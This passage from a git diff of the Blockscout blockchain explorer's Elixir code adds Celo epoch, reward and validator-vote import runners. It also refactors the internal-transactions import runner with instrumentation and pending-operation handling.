CeloEpochReward, + join: epoch in subquery(ordered_query), + on: reward.epoch_number == epoch.number + ) + + election_rewards_query = + from(reward in CeloElectionReward, + join: epoch in subquery(ordered_query), + on: reward.epoch_number == epoch.number + ) + + repo.delete_all(epoch_rewards_query, timeout: timeout) + repo.delete_all(election_rewards_query, timeout: timeout) + + {_count, updated_epochs} = + repo.update_all( + from(epoch in CeloEpoch, + join: ordered_epoch in subquery(ordered_query), + on: epoch.number == ordered_epoch.number, + select: epoch + ), + [set: [fetched?: false]], + timeout: timeout + ) + + {:ok, updated_epochs} end end diff --git a/apps/explorer/lib/explorer/chain/import/runner/celo/election_rewards.ex b/apps/explorer/lib/explorer/chain/import/runner/celo/election_rewards.ex new file mode 100644 index 000000000000..8f32c87fee83 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/celo/election_rewards.ex @@ -0,0 +1,93 @@ +defmodule Explorer.Chain.Import.Runner.Celo.ElectionRewards do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Celo.ElectionReward.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Celo.ElectionReward + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [ElectionReward.t()] + + @impl Import.Runner + def ecto_schema_module, do: ElectionReward + + @impl Import.Runner + def option_key, do: :celo_election_rewards + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_celo_election_rewards, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :celo_election_rewards, + :celo_election_rewards + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [ElectionReward.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce Celo.Epoch.ElectionReward ShareLocks order (see docs: sharelock.md) + ordered_changes_list = + Enum.sort_by( + changes_list, + &{ + &1.epoch_number, + &1.type, + &1.account_address_hash, + &1.associated_account_address_hash + } + ) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: ElectionReward, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: [ + :epoch_number, + :type, + :account_address_hash, + :associated_account_address_hash + ], + on_conflict: :replace_all + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/celo/epoch_rewards.ex b/apps/explorer/lib/explorer/chain/import/runner/celo/epoch_rewards.ex new file mode 100644 index 000000000000..5846be4d9d04 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/celo/epoch_rewards.ex @@ -0,0 +1,80 @@ +defmodule Explorer.Chain.Import.Runner.Celo.EpochRewards do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Celo.EpochReward.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Celo.EpochReward + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [EpochReward.t()] + + @impl Import.Runner + def ecto_schema_module, do: EpochReward + + @impl Import.Runner + def option_key, do: :celo_epoch_rewards + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + multi + |> Multi.run(:insert_celo_epoch_rewards, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :celo_epoch_rewards, + :celo_epoch_rewards + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [EpochReward.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce Celo.EpochReward ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.epoch_number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: EpochReward, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :epoch_number, + on_conflict: :replace_all + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/celo/epochs.ex b/apps/explorer/lib/explorer/chain/import/runner/celo/epochs.ex new file mode 100644 index 000000000000..9fdf3e868120 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/celo/epochs.ex @@ -0,0 +1,104 @@ +defmodule Explorer.Chain.Import.Runner.Celo.Epochs do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Celo.Epoch.t/0`. + """ + + require Ecto.Query + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Celo.Epoch + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [Epoch.t()] + + @impl Import.Runner + def ecto_schema_module, do: Epoch + + @impl Import.Runner + def option_key, do: :celo_epochs + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :celo_epochs, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :celo_epochs, + :celo_epochs + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [Epoch.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce Celo.Epoch ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: Epoch, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: [:number], + on_conflict: default_on_conflict() + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from(epoch in Epoch, + update: [ + set: [ + start_block_number: fragment("COALESCE(EXCLUDED.start_block_number, ?)", epoch.start_block_number), + end_block_number: fragment("COALESCE(EXCLUDED.end_block_number, ?)", epoch.end_block_number), + start_processing_block_hash: + fragment("COALESCE(EXCLUDED.start_processing_block_hash, ?)", epoch.start_processing_block_hash), + end_processing_block_hash: + fragment("COALESCE(EXCLUDED.end_processing_block_hash, ?)", epoch.end_processing_block_hash), + fetched?: fragment("EXCLUDED.is_fetched"), + inserted_at: fragment("LEAST(EXCLUDED.inserted_at, ?)", epoch.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", epoch.updated_at) + ] + ], + where: + fragment("EXCLUDED.start_block_number IS DISTINCT FROM ?", epoch.start_block_number) or + fragment("EXCLUDED.end_block_number IS DISTINCT FROM ?", epoch.end_block_number) or + fragment("EXCLUDED.start_processing_block_hash IS DISTINCT FROM ?", epoch.start_processing_block_hash) or + fragment("EXCLUDED.end_processing_block_hash IS DISTINCT FROM ?", epoch.end_processing_block_hash) or + fragment("EXCLUDED.is_fetched IS DISTINCT FROM ?", epoch.fetched?) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/celo/validator_group_votes.ex b/apps/explorer/lib/explorer/chain/import/runner/celo/validator_group_votes.ex new file mode 100644 index 000000000000..10cd12c5b30d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/celo/validator_group_votes.ex @@ -0,0 +1,91 @@ +defmodule Explorer.Chain.Import.Runner.Celo.ValidatorGroupVotes do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Celo.ValidatorGroupVote.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Celo.ValidatorGroupVote + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [ValidatorGroupVote.t()] + + @impl Import.Runner + def ecto_schema_module, do: ValidatorGroupVote + + @impl Import.Runner + def option_key, do: :celo_validator_group_votes + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_celo_validator_group_votes, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :celo_validator_group_votes, + :celo_validator_group_votes + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [ValidatorGroupVote.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce Celo.Epoch.ValidatorGroupVote ShareLocks order (see docs: sharelock.md) + ordered_changes_list = + Enum.sort_by( + changes_list, + &{ + &1.transaction_hash, + &1.account_address_hash, + &1.group_address_hash + } + ) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: ValidatorGroupVote, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: [ + :transaction_hash, + :account_address_hash, + :group_address_hash + ], + on_conflict: :replace_all + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/helper.ex b/apps/explorer/lib/explorer/chain/import/runner/helper.ex new file mode 100644 index 000000000000..6fd5f53e85e5 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/helper.ex @@ -0,0 +1,22 @@ +defmodule Explorer.Chain.Import.Runner.Helper do + @moduledoc """ + Provides utility functions for the chain import runners. + """ + + @doc """ + Executes the import function if the configured chain type matches the + specified `chain_type`. + """ + @spec chain_type_dependent_import( + Ecto.Multi.t(), + chain_type :: atom(), + (Ecto.Multi.t() -> Ecto.Multi.t()) + ) :: Ecto.Multi.t() + def chain_type_dependent_import(multi, chain_type, multi_run) do + if Application.get_env(:explorer, :chain_type) == chain_type do + multi_run.(multi) + else + multi + end + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/internal_transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/internal_transactions.ex index 55189bacb168..d562cae32547 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/internal_transactions.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/internal_transactions.ex @@ -8,11 +8,25 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do alias Ecto.Adapters.SQL alias Ecto.{Changeset, Multi, Repo} - alias Explorer.Chain.{Block, Hash, Import, InternalTransaction, PendingBlockOperation, Transaction} + alias EthereumJSONRPC.Utility.RangesHelper + + alias Explorer.Chain.{ + Block, + Hash, + Import, + InternalTransaction, + PendingOperationsHelper, + PendingTransactionOperation, + Transaction + } + + alias Explorer.Chain.Events.Publisher alias Explorer.Chain.Import.Runner + alias Explorer.Prometheus.Instrumenter alias Explorer.Repo, as: ExplorerRepo + alias Explorer.Utility.MissingRangesManipulator - import Ecto.Query, only: [from: 2, or_where: 3] + import Ecto.Query @behaviour Runner @@ -54,26 +68,53 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do # Enforce ShareLocks tables order (see docs: sharelocks.md) multi |> Multi.run(:acquire_blocks, fn repo, _ -> - acquire_blocks(repo, changes_list) + Instrumenter.block_import_stage_runner( + fn -> acquire_blocks(repo, changes_list) end, + :block_pending, + :internal_transactions, + :acquire_blocks + ) end) - |> Multi.run(:acquire_pending_internal_txs, fn repo, %{acquire_blocks: block_hashes} -> - acquire_pending_internal_txs(repo, block_hashes) + |> Multi.run(:acquire_pending_internal_transactions, fn repo, %{acquire_blocks: block_hashes} -> + Instrumenter.block_import_stage_runner( + fn -> acquire_pending_internal_transactions(repo, block_hashes) end, + :block_pending, + :internal_transactions, + :acquire_pending_internal_transactions + ) end) - |> Multi.run(:acquire_transactions, fn repo, %{acquire_pending_internal_txs: pending_block_hashes} -> - acquire_transactions(repo, pending_block_hashes) + |> Multi.run(:acquire_transactions, fn repo, %{acquire_pending_internal_transactions: pending_ops_hashes} -> + Instrumenter.block_import_stage_runner( + fn -> acquire_transactions(repo, pending_ops_hashes) end, + :block_pending, + :internal_transactions, + :acquire_transactions + ) end) |> Multi.run(:invalid_block_numbers, fn _, %{acquire_transactions: transactions} -> - invalid_block_numbers(transactions, internal_transactions_params) + Instrumenter.block_import_stage_runner( + fn -> invalid_block_numbers(transactions, internal_transactions_params) end, + :block_pending, + :internal_transactions, + :invalid_block_numbers + ) end) |> Multi.run(:valid_internal_transactions, fn _, %{ acquire_transactions: transactions, invalid_block_numbers: invalid_block_numbers } -> - valid_internal_transactions( - transactions, - internal_transactions_params, - invalid_block_numbers + Instrumenter.block_import_stage_runner( + fn -> + valid_internal_transactions( + transactions, + internal_transactions_params, + invalid_block_numbers + ) + end, + :block_pending, + :internal_transactions, + :valid_internal_transactions ) end) |> Multi.run(:valid_internal_transactions_without_first_traces_of_trivial_transactions, fn _, @@ -81,35 +122,74 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do valid_internal_transactions: valid_internal_transactions } -> - valid_internal_transactions_without_first_trace(valid_internal_transactions) + Instrumenter.block_import_stage_runner( + fn -> valid_internal_transactions_without_first_trace(valid_internal_transactions) end, + :block_pending, + :internal_transactions, + :valid_internal_transactions_without_first_traces_of_trivial_transactions + ) end) - |> Multi.run(:remove_left_over_internal_transactions, fn repo, - %{valid_internal_transactions: valid_internal_transactions} -> - remove_left_over_internal_transactions(repo, valid_internal_transactions) + |> Multi.run(:maybe_shrink_internal_transactions_params, fn _, + %{ + valid_internal_transactions_without_first_traces_of_trivial_transactions: + valid_internal_transactions_without_first_traces_of_trivial_transactions + } -> + Instrumenter.block_import_stage_runner( + fn -> + maybe_shrink_internal_transactions_params( + valid_internal_transactions_without_first_traces_of_trivial_transactions + ) + end, + :block_pending, + :internal_transactions, + :maybe_shrink_internal_transactions_params + ) end) |> Multi.run(:internal_transactions, fn repo, %{ - valid_internal_transactions_without_first_traces_of_trivial_transactions: - valid_internal_transactions_without_first_traces_of_trivial_transactions + maybe_shrink_internal_transactions_params: + shrink_internal_transactions_params } -> - insert(repo, valid_internal_transactions_without_first_traces_of_trivial_transactions, insert_options) + Instrumenter.block_import_stage_runner( + fn -> + insert(repo, shrink_internal_transactions_params, insert_options) + end, + :block_pending, + :internal_transactions, + :internal_transactions + ) end) |> Multi.run(:update_transactions, fn repo, %{ valid_internal_transactions: valid_internal_transactions, acquire_transactions: transactions } -> - update_transactions(repo, valid_internal_transactions, transactions, update_transactions_options) + Instrumenter.block_import_stage_runner( + fn -> update_transactions(repo, valid_internal_transactions, transactions, update_transactions_options) end, + :block_pending, + :internal_transactions, + :update_transactions + ) end) - |> Multi.run(:remove_consensus_of_invalid_blocks, fn repo, %{invalid_block_numbers: invalid_block_numbers} -> - remove_consensus_of_invalid_blocks(repo, invalid_block_numbers) + |> Multi.run(:set_refetch_needed_for_invalid_blocks, fn repo, %{invalid_block_numbers: invalid_block_numbers} -> + Instrumenter.block_import_stage_runner( + fn -> set_refetch_needed_for_invalid_blocks(repo, invalid_block_numbers, timestamps) end, + :block_pending, + :internal_transactions, + :set_refetch_needed_for_invalid_blocks + ) end) |> Multi.run(:update_pending_blocks_status, fn repo, %{ - acquire_pending_internal_txs: pending_block_hashes, - remove_consensus_of_invalid_blocks: invalid_block_hashes + acquire_pending_internal_transactions: pending_ops_hashes, + set_refetch_needed_for_invalid_blocks: invalid_block_hashes } -> - update_pending_blocks_status(repo, pending_block_hashes, invalid_block_hashes) + Instrumenter.block_import_stage_runner( + fn -> update_pending_blocks_status(repo, pending_ops_hashes, invalid_block_hashes) end, + :block_pending, + :internal_transactions, + :update_pending_blocks_status + ) end) end @@ -125,11 +205,14 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do internal_transactions_params = Enum.filter(changes_list, &Map.has_key?(&1, :type)) # Enforce ShareLocks tables order (see docs: sharelocks.md) - Multi.new() - |> Multi.run(:internal_transactions, fn repo, _ -> - insert(repo, internal_transactions_params, insert_options) - end) - |> ExplorerRepo.transaction() + with {:ok, data} <- + Multi.new() + |> Multi.run(:internal_transactions, fn repo, _ -> + insert(repo, internal_transactions_params, insert_options) + end) + |> ExplorerRepo.transaction() do + Publisher.broadcast(data, :on_demand) + end end @impl Runner @@ -225,51 +308,70 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do query = from( - b in Block, - where: b.number in ^block_numbers and b.consensus, - select: b.hash, + block in Block, + where: block.number in ^block_numbers and block.consensus == true, + select: block.hash, # Enforce Block ShareLocks order (see docs: sharelocks.md) - order_by: [asc: b.hash], - lock: "FOR UPDATE" + order_by: [asc: block.hash], + lock: "FOR NO KEY UPDATE" ) {:ok, repo.all(query)} end - defp acquire_pending_internal_txs(repo, block_hashes) do - query = - from( - pending_ops in PendingBlockOperation, - where: pending_ops.block_hash in ^block_hashes, - where: pending_ops.fetch_internal_transactions, - select: pending_ops.block_hash, - # Enforce PendingBlockOperation ShareLocks order (see docs: sharelocks.md) - order_by: [asc: pending_ops.block_hash], - lock: "FOR UPDATE" - ) - - {:ok, repo.all(query)} + defp acquire_pending_internal_transactions(repo, block_hashes) do + case PendingOperationsHelper.pending_operations_type() do + "blocks" -> + query = + block_hashes + |> PendingOperationsHelper.block_hash_in_query() + |> select([pbo], pbo.block_hash) + |> order_by([pbo], asc: pbo.block_hash) + |> lock("FOR UPDATE") + + {:ok, {:block_hashes, repo.all(query)}} + + "transactions" -> + query = + from( + pending_ops in PendingTransactionOperation, + join: transaction in assoc(pending_ops, :transaction), + where: transaction.block_hash in ^block_hashes, + select: pending_ops.transaction_hash, + # Enforce PendingTransactionOperation ShareLocks order (see docs: sharelocks.md) + order_by: [asc: pending_ops.transaction_hash], + lock: "FOR UPDATE" + ) + + {:ok, {:transaction_hashes, repo.all(query)}} + end end - defp acquire_transactions(repo, pending_block_hashes) do + defp acquire_transactions(repo, pending_ops_hashes) do + dynamic_condition = + case pending_ops_hashes do + {:block_hashes, block_hashes} -> dynamic([t], t.block_hash in ^block_hashes) + {:transaction_hashes, transaction_hashes} -> dynamic([t], t.hash in ^transaction_hashes) + end + query = from( t in Transaction, - where: t.block_hash in ^pending_block_hashes, - select: map(t, [:hash, :block_hash, :block_number, :cumulative_gas_used]), + where: ^dynamic_condition, + select: map(t, [:hash, :block_hash, :block_number, :cumulative_gas_used, :status]), # Enforce Transaction ShareLocks order (see docs: sharelocks.md) order_by: [asc: t.hash], - lock: "FOR UPDATE" + lock: "FOR NO KEY UPDATE" ) {:ok, repo.all(query)} end defp invalid_block_numbers(transactions, internal_transactions_params) do - # Finds all mistmatches between transactions and internal transactions + # Finds all mismatches between transactions and internal transactions # for a block number: - # - there are no internal txs for some transactions - # - there are internal txs with a different block number than their transactions + # - there are no internal transactions for some transactions + # - there are internal transactions with a different block number than their transactions # Returns block numbers where any of these issues is found # Note: the case "# - there are no transactions for some internal transactions" was removed because it caused the issue https://github.com/blockscout/blockscout/issues/3367 @@ -277,6 +379,10 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do # common_tuples = MapSet.intersection(required_tuples, candidate_tuples) #should be added # |> MapSet.difference(internal_transactions_tuples) should be replaced with |> MapSet.difference(common_tuples) + # Note: for zetachain or if empty traces are explicitly allowed, + # the case "# - there are no internal transactions for some transactions" is removed since + # there are may be non-traceable transactions + transactions_tuples = MapSet.new(transactions, &{&1.hash, &1.block_number}) internal_transactions_tuples = MapSet.new(internal_transactions_params, &{&1.transaction_hash, &1.block_number}) @@ -284,48 +390,75 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do all_tuples = MapSet.union(transactions_tuples, internal_transactions_tuples) invalid_block_numbers = - all_tuples - |> MapSet.difference(internal_transactions_tuples) - |> MapSet.new(fn {_hash, block_number} -> block_number end) - |> MapSet.to_list() + if allow_non_traceable_transactions?() do + Enum.reduce(internal_transactions_tuples, [], fn {transaction_hash, block_number}, acc -> + # credo:disable-for-next-line + case Enum.find(transactions_tuples, fn {t_hash, _block_number} -> t_hash == transaction_hash end) do + nil -> acc + {_t_hash, ^block_number} -> acc + _ -> [block_number | acc] + end + end) + else + all_tuples + |> MapSet.difference(internal_transactions_tuples) + |> MapSet.new(fn {_hash, block_number} -> block_number end) + |> MapSet.to_list() + end {:ok, invalid_block_numbers} end + defp allow_non_traceable_transactions? do + Application.get_env(:explorer, :chain_type) == :zetachain or + (Application.get_env(:explorer, :json_rpc_named_arguments)[:variant] == EthereumJSONRPC.Geth and + Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth)[:allow_empty_traces?]) + end + defp valid_internal_transactions(transactions, internal_transactions_params, invalid_block_numbers) do - if Enum.count(transactions) > 0 do + if Enum.empty?(transactions) do + {:ok, []} + else blocks_map = Map.new(transactions, &{&1.block_number, &1.block_hash}) - valid_internal_txs = + valid_internal_transactions = internal_transactions_params |> Enum.group_by(& &1.block_number) |> Map.drop(invalid_block_numbers) |> Enum.flat_map(fn item -> - case item do - {block_number, entries} -> - if Map.has_key?(blocks_map, block_number) do - block_hash = Map.fetch!(blocks_map, block_number) - - entries - |> Enum.sort_by(&{&1.transaction_hash, &1.index}) - |> Enum.with_index() - |> Enum.map(fn {entry, index} -> - entry - |> Map.put(:block_hash, block_hash) - |> Map.put(:block_index, index) - end) - else - [] - end - - _ -> - [] - end + compose_entry_wrapper(item, blocks_map) end) - {:ok, valid_internal_txs} + {:ok, valid_internal_transactions} + end + end + + defp compose_entry_wrapper(item, blocks_map) do + case item do + {block_number, entries} -> + compose_entry(entries, blocks_map, block_number) + + _ -> + [] + end + end + + defp compose_entry(entries, blocks_map, block_number) do + if Map.has_key?(blocks_map, block_number) do + block_hash = Map.fetch!(blocks_map, block_number) + + entries + |> Enum.sort_by( + &{(Map.has_key?(&1, :transaction_index) && &1.transaction_index) || &1.transaction_hash, &1.index} + ) + |> Enum.with_index() + |> Enum.map(fn {entry, index} -> + entry + |> Map.put(:block_hash, block_hash) + |> Map.put(:block_index, index) + end) else - {:ok, []} + [] end end @@ -333,8 +466,8 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do json_rpc_named_arguments = Application.fetch_env!(:indexer, :json_rpc_named_arguments) variant = Keyword.fetch!(json_rpc_named_arguments, :variant) - # we exclude first traces from storing in the DB only in case of Parity variant (Parity/Nethermind). Todo: implement the same for Geth - if variant == EthereumJSONRPC.Parity do + # we exclude first traces from storing in the DB only in case of Nethermind variant (Nethermind/OpenEthereum). Todo: implement the same for Geth + if variant == EthereumJSONRPC.Nethermind do valid_internal_transactions_without_first_trace = valid_internal_transactions |> Enum.reject(fn trace -> @@ -347,6 +480,21 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do end end + defp maybe_shrink_internal_transactions_params(internal_transactions) do + if Application.get_env(:explorer, :shrink_internal_transactions_enabled) do + shrunk_internal_transactions = + Enum.map(internal_transactions, fn it -> + it + |> Map.delete(:output) + |> Map.replace(:input, it[:input] && Map.put(it[:input], :bytes, binary_slice(it[:input].bytes, 0, 4))) + end) + + {:ok, shrunk_internal_transactions} + else + {:ok, internal_transactions} + end + end + def defer_internal_transactions_primary_key(repo) do # Allows internal_transactions primary key to not be checked during the # DB transactions and instead be checked only at the end of it. @@ -355,42 +503,6 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do SQL.query(repo, "SET CONSTRAINTS internal_transactions_pkey DEFERRED") end - def remove_left_over_internal_transactions(repo, valid_internal_transactions) do - # Removes internal transactions that were part of a block before a refetch - # and have not been upserted with new ones (if any exist). - - case valid_internal_transactions do - [] -> - {:ok, []} - - _ -> - try do - delete_query_for_block_hash_block_index = - valid_internal_transactions - |> Enum.group_by(& &1.block_hash, & &1.block_index) - |> Enum.map(fn {block_hash, indexes} -> {block_hash, Enum.max(indexes)} end) - |> Enum.reduce(InternalTransaction, fn {block_hash, max_index}, acc -> - or_where(acc, [it], it.block_hash == ^block_hash and it.block_index > ^max_index) - end) - - # removes old records with the same primary key (transaction hash, transaction index) - delete_query = - valid_internal_transactions - |> Enum.map(fn params -> {params.transaction_hash, params.index} end) - |> Enum.reduce(delete_query_for_block_hash_block_index, fn {transaction_hash, index}, acc -> - or_where(acc, [it], it.transaction_hash == ^transaction_hash and it.index == ^index) - end) - - # ShareLocks order already enforced by `acquire_pending_internal_txs` (see docs: sharelocks.md) - {count, result} = repo.delete_all(delete_query, []) - - {:ok, {count, result}} - rescue - postgrex_error in Postgrex.Error -> {:error, %{exception: postgrex_error}} - end - end - end - defp update_transactions(repo, valid_internal_transactions, transactions, %{ timeout: timeout, timestamps: timestamps @@ -402,8 +514,8 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do else params = valid_internal_transactions - |> Enum.filter(fn internal_tx -> - internal_tx[:index] == 0 + |> Enum.filter(fn internal_transaction -> + internal_transaction[:index] == 0 end) |> Enum.map(fn trace -> %{ @@ -429,54 +541,20 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do Enum.reduce_while(params, 0, fn first_trace, transaction_hashes_iterator -> transaction_hash = Map.get(first_trace, :transaction_hash) - transaction_from_db = - transactions - |> Enum.find(fn transaction -> - transaction.hash == transaction_hash - end) - - cond do - !transaction_from_db -> - transaction_receipt_from_node = - fetch_transaction_receipt_from_node(transaction_hash, json_rpc_named_arguments) - - update_transactions_inner( - repo, - valid_internal_transactions, - transaction_hashes, - transaction_hashes_iterator, - timeout, - timestamps, - first_trace, - transaction_receipt_from_node - ) - - transaction_from_db && Map.get(transaction_from_db, :cumulative_gas_used) -> - update_transactions_inner( - repo, - valid_internal_transactions, - transaction_hashes, - transaction_hashes_iterator, - timeout, - timestamps, - first_trace - ) - - true -> - transaction_receipt_from_node = - fetch_transaction_receipt_from_node(transaction_hash, json_rpc_named_arguments) - - update_transactions_inner( - repo, - valid_internal_transactions, - transaction_hashes, - transaction_hashes_iterator, - timeout, - timestamps, - first_trace, - transaction_receipt_from_node - ) - end + transaction_from_db = find_transaction(transactions, transaction_hash) + + update_transactions_inner_wrapper( + transaction_from_db, + repo, + valid_internal_transactions, + transaction_hash, + json_rpc_named_arguments, + transaction_hashes, + transaction_hashes_iterator, + timeout, + timestamps, + first_trace + ) end) case result do @@ -489,10 +567,77 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactions do end end - defp get_trivial_tx_hashes_with_error_in_internal_tx(internal_transactions) do + defp find_transaction(transactions, transaction_hash) do + transactions + |> Enum.find(fn transaction -> + transaction.hash == transaction_hash + end) + end + + # credo:disable-for-next-line + defp update_transactions_inner_wrapper( + transaction_from_db, + repo, + valid_internal_transactions, + transaction_hash, + json_rpc_named_arguments, + transaction_hashes, + transaction_hashes_iterator, + timeout, + timestamps, + first_trace + ) do + cond do + !transaction_from_db -> + transaction_receipt_from_node = fetch_transaction_receipt_from_node(transaction_hash, json_rpc_named_arguments) + + update_transactions_inner( + repo, + valid_internal_transactions, + transaction_hashes, + transaction_hashes_iterator, + timeout, + timestamps, + first_trace, + transaction_from_db, + transaction_receipt_from_node + ) + + transaction_from_db && Map.get(transaction_from_db, :cumulative_gas_used) -> + update_transactions_inner( + repo, + valid_internal_transactions, + transaction_hashes, + transaction_hashes_iterator, + timeout, + timestamps, + first_trace, + transaction_from_db + ) + + true -> + transaction_receipt_from_node = fetch_transaction_receipt_from_node(transaction_hash, json_rpc_named_arguments) + + update_transactions_inner( + repo, + valid_internal_transactions, + transaction_hashes, + transaction_hashes_iterator, + timeout, + timestamps, + first_trace, + transaction_from_db, + transaction_receipt_from_node + ) + end + end + + defp get_trivial_transaction_hashes_with_error_in_internal_transaction(internal_transactions) do internal_transactions - |> Enum.filter(fn internal_tx -> internal_tx[:index] != 0 && 